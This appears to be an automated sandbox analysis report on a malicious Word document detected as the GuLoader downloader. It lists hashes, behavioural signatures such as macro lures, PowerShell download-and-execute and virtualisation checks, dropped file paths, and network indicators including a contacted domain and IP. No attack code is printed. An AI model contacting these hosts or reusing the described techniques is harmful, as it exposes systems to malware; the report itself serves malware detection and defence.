Windows Analysis Report
TEPO0015922.doc

Overview

General Information

Sample Name: TEPO0015922.doc
Analysis ID: 829399
MD5: 364dc6c0e8a18b796aa535516d04cb53
SHA1: da1e74c37691d9fd57eb2e73ef89b3aacbaa23d2
SHA256: dd6f2ad2370d52c77db8f3659c116f15c1897e2528694fe9f046be45928a2608
Tags: doc
Infos:

Detection

GuLoader
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Multi AV Scanner detection for submitted file
Document exploit detected (drops PE files)
Malicious sample detected (through community Yara rule)
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Document exploit detected (creates forbidden files)
Yara detected GuLoader
Microsoft Office creates scripting files
Office process drops PE file
Injects files into Windows application
Document contains OLE streams with names of living off the land binaries
Bypasses PowerShell execution policy
Tries to download and execute files (via powershell)
Suspicious powershell command line found
Powershell drops PE file
Tries to detect virtualization through RDTSC time measurements
Document exploit detected (process start blacklist hit)
Queries the volume information (name, serial number etc) of a device
Yara signature match
May sleep (evasive loops) to hinder dynamic analysis
Contains functionality to shutdown / reboot the system
PE file contains sections with non-standard names
Internet Provider seen in connection with other malware
Detected potential crypto function
Found potential string decryption / allocating functions
JA3 SSL client fingerprint seen in connection with other malware
Contains functionality to dynamically determine API calls
Found dropped PE file which has not been started or loaded
Potential document exploit detected (performs DNS queries)
HTTP GET or POST without a user agent
Uses insecure TLS / SSL version for HTTPS connection
Document misses a certain OLE stream usually present in this Microsoft Office document type
Contains long sleeps (>= 3 min)
Abnormal high CPU Usage
Enables debug privileges
Potential document exploit detected (unknown TCP traffic)
Drops PE files
Uses a known web browser user agent for HTTP communication
PE file contains more sections than normal
Found large amount of non-executed APIs
Potential document exploit detected (performs HTTP gets)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Creates a process in suspended mode (likely to inject code)
Contains functionality for read data from the clipboard

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: TEPO0015922.doc ReversingLabs: Detection: 23%
Source: TEPO0015922.doc Virustotal: Detection: 42% Perma Link
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 149.102.154.62:443 -> 192.168.2.22:49172 version: TLS 1.0
Source: C:\Users\user\AppData\Roaming\file.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Drukneddens\Bruckled\Kededes\Busafgange\Mekanismens\License.rtf Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: unknown HTTPS traffic detected: 149.102.154.62:443 -> 192.168.2.22:49171 version: TLS 1.2
Source: Binary string: tomation.pdb source: powershell.exe, 0000000C.00000002.926351887.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.958909440.0000000002D57000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: ws\dll\System.pdb1. source: powershell.exe, 0000000C.00000002.926351887.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.958909440.0000000002D57000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: mscorlib.pdb source: powershell.exe, 0000000C.00000002.926351887.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.958909440.0000000002D57000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: :\Windows\mscorlib.pdb source: powershell.exe, 0000000C.00000002.926351887.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.958909440.0000000002D57000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: mscorlib.pdbment.Automation.pdbBB source: powershell.exe, 0000000C.00000002.926351887.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.958909440.0000000002D57000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Windows\symbols\dll\System.Management.Automation.pdb=C:\ source: powershell.exe, 0000000C.00000002.926351887.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.958909440.0000000002D57000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: ws\System.Management.Automation.pdbpdbion.pdbamDa source: powershell.exe, 0000000C.00000002.926351887.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.958909440.0000000002D57000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: scorlib.pdb source: powershell.exe, 0000000C.00000002.926351887.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.958909440.0000000002D57000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: ws\mscorlib.pdbpdblib.pdb8t source: powershell.exe, 00000012.00000002.958909440.0000000002D54000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: :\Windows\dll\mscorlib.pdb source: powershell.exe, 0000000C.00000002.926351887.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.958909440.0000000002D57000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Windows\System.pdbstem.M source: powershell.exe, 0000000C.00000002.926351887.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.958909440.0000000002D57000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\mscorlib.pdbn source: powershell.exe, 0000000C.00000002.926351887.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.958909440.0000000002D57000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Windows\dll\System.Management.Automation.pdb:\Pr source: powershell.exe, 0000000C.00000002.926351887.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.958909440.0000000002D57000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Windows\symbols\dll\mscorlib.pdb source: powershell.exe, 0000000C.00000002.926351887.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.958909440.0000000002D57000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Windows\System.Management.Automation.pdb source: powershell.exe, 0000000C.00000002.926351887.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.958909440.0000000002D57000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: ws\mscorlib.pdbpdblib.pdb source: powershell.exe, 0000000C.00000002.926351887.0000000002B54000.00000004.00000020.00020000.00000000.sdmp
Source: C:\Users\user\AppData\Roaming\file.exe Code function: 9_2_00405A19 GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose, 9_2_00405A19
Source: C:\Users\user\AppData\Roaming\file.exe Code function: 9_2_004065CE FindFirstFileA,FindClose, 9_2_004065CE
Source: C:\Users\user\AppData\Roaming\file.exe Code function: 9_2_004027AA FindFirstFileA, 9_2_004027AA
Source: C:\Users\user\AppData\Roaming\file.exe Code function: 16_2_00405A19 GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose, 16_2_00405A19
Source: C:\Users\user\AppData\Roaming\file.exe Code function: 16_2_004065CE FindFirstFileA,FindClose, 16_2_004065CE
Source: C:\Users\user\AppData\Roaming\file.exe Code function: 16_2_004027AA FindFirstFileA, 16_2_004027AA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini Jump to behavior

Software Vulnerabilities
barindex
Document exploit detected (drops PE files)
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: file[1].exe.0.dr Jump to dropped file
Document exploit detected (creates forbidden files)
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\FZdtfhgYgeghD .scT Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\file[1].exe Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\FZdtfhgYgeghD .scT Jump to behavior
Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\cmd.exe
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: thekaribacruisecompany.com
Source: global traffic DNS query: name: thekaribacruisecompany.com
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
Source: global traffic TCP traffic: 149.102.154.62:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 149.102.154.62:443
